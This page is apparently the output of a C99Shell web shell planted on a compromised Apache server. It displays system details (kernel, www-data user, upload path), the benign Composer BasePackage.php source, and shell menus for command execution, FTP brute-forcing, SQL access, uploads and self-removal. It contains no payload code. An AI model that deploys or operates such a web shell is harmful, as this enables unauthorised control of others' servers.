!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/Package/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BasePackage.php (6.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Package;

use 
Composer\Repository\RepositoryInterface;
use 
Composer\Repository\PlatformRepository;

/**
 * Base class for packages providing name storage and default match implementation
 *
 * @author Nils Adermann <naderman@naderman.de>
 */
abstract class BasePackage implements PackageInterface
{
    
/**
     * @phpstan-var array<string, array{description: string, method: Link::TYPE_*}>
     */
    
public static $supportedLinkTypes = array(
        
'require' => array('description' => 'requires''method' => Link::TYPE_REQUIRE),
        
'conflict' => array('description' => 'conflicts''method' => Link::TYPE_CONFLICT),
        
'provide' => array('description' => 'provides''method' => Link::TYPE_PROVIDE),
        
'replace' => array('description' => 'replaces''method' => Link::TYPE_REPLACE),
        
'require-dev' => array('description' => 'requires (for development)''method' => Link::TYPE_DEV_REQUIRE),
    );

    const 
STABILITY_STABLE 0;
    const 
STABILITY_RC 5;
    const 
STABILITY_BETA 10;
    const 
STABILITY_ALPHA 15;
    const 
STABILITY_DEV 20;

    public static 
$stabilities = array(
        
'stable' => self::STABILITY_STABLE,
        
'RC' => self::STABILITY_RC,
        
'beta' => self::STABILITY_BETA,
        
'alpha' => self::STABILITY_ALPHA,
        
'dev' => self::STABILITY_DEV,
    );

    
/**
     * READ-ONLY: The package id, public for fast access in dependency solver
     * @var int
     */
    
public $id;
    
/** @var string */
    
protected $name;
    
/** @var string */
    
protected $prettyName;
    
/** @var RepositoryInterface */
    
protected $repository;
    
/** @var array */
    
protected $transportOptions = array();

    
/**
     * All descendants' constructors should call this parent constructor
     *
     * @param string $name The package's name
     */
    
public function __construct($name)
    {
        
$this->prettyName $name;
        
$this->name strtolower($name);
        
$this->id = -1;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getName()
    {
        return 
$this->name;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getPrettyName()
    {
        return 
$this->prettyName;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getNames($provides true)
    {
        
$names = array(
            
$this->getName() => true,
        );

        if (
$provides) {
            foreach (
$this->getProvides() as $link) {
                
$names[$link->getTarget()] = true;
            }
        }

        foreach (
$this->getReplaces() as $link) {
            
$names[$link->getTarget()] = true;
        }

        return 
array_keys($names);
    }

    
/**
     * {@inheritDoc}
     */
    
public function setId($id)
    {
        
$this->id $id;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getId()
    {
        return 
$this->id;
    }

    
/**
     * {@inheritDoc}
     */
    
public function setRepository(RepositoryInterface $repository)
    {
        if (
$this->repository && $repository !== $this->repository) {
            throw new 
\LogicException('A package can only be added to one repository');
        }
        
$this->repository $repository;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getRepository()
    {
        return 
$this->repository;
    }

    
/**
     * {@inheritDoc}
     */
    
public function getTransportOptions()
    {
        return 
$this->transportOptions;
    }

    
/**
     * Configures the list of options to download package dist files
     *
     * @param array $options
     */
    
public function setTransportOptions(array $options)
    {
        
$this->transportOptions $options;
    }

    
/**
     * checks if this package is a platform package
     *
     * @return bool
     */
    
public function isPlatform()
    {
        return 
$this->getRepository() instanceof PlatformRepository;
    }

    
/**
     * Returns package unique name, constructed from name, version and release type.
     *
     * @return string
     */
    
public function getUniqueName()
    {
        return 
$this->getName().'-'.$this->getVersion();
    }

    public function 
equals(PackageInterface $package)
    {
        
$self $this;
        if (
$this instanceof AliasPackage) {
            
$self $this->getAliasOf();
        }
        if (
$package instanceof AliasPackage) {
            
$package $package->getAliasOf();
        }

        return 
$package === $self;
    }

    
/**
     * Converts the package into a readable and unique string
     *
     * @return string
     */
    
public function __toString()
    {
        return 
$this->getUniqueName();
    }

    public function 
getPrettyString()
    {
        return 
$this->getPrettyName().' '.$this->getPrettyVersion();
    }

    
/**
     * {@inheritDoc}
     */
    
public function getFullPrettyVersion($truncate true$displayMode PackageInterface::DISPLAY_SOURCE_REF_IF_DEV)
    {
        if (
$displayMode === PackageInterface::DISPLAY_SOURCE_REF_IF_DEV &&
            (!
$this->isDev() || !\in_array($this->getSourceType(), array('hg''git')))
        ) {
            return 
$this->getPrettyVersion();
        }

        switch (
$displayMode) {
            case 
PackageInterface::DISPLAY_SOURCE_REF_IF_DEV:
            case 
PackageInterface::DISPLAY_SOURCE_REF:
                
$reference $this->getSourceReference();
                break;
            case 
PackageInterface::DISPLAY_DIST_REF:
                
$reference $this->getDistReference();
                break;
            default:
                throw new 
\UnexpectedValueException('Display mode '.$displayMode.' is not supported');
        }

        
// if source reference is a sha1 hash -- truncate
        
if ($truncate && \strlen($reference) === 40 && $this->getSourceType() !== 'svn') {
            return 
$this->getPrettyVersion() . ' ' substr($reference07);
        }

        return 
$this->getPrettyVersion() . ' ' $reference;
    }

    public function 
getStabilityPriority()
    {
        return 
self::$stabilities[$this->getStability()];
    }

    public function 
__clone()
    {
        
$this->repository null;
        
$this->id = -1;
    }

    
/**
     * Build a regexp from a package name, expanding * globs as required
     *
     * @param  string $allowPattern
     * @param  string $wrap         Wrap the cleaned string by the given string
     * @return string
     */
    
public static function packageNameToRegexp($allowPattern$wrap '{^%s$}i')
    {
        
$cleanedAllowPattern str_replace('\\*''.*'preg_quote($allowPattern));

        return 
sprintf($wrap$cleanedAllowPattern);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--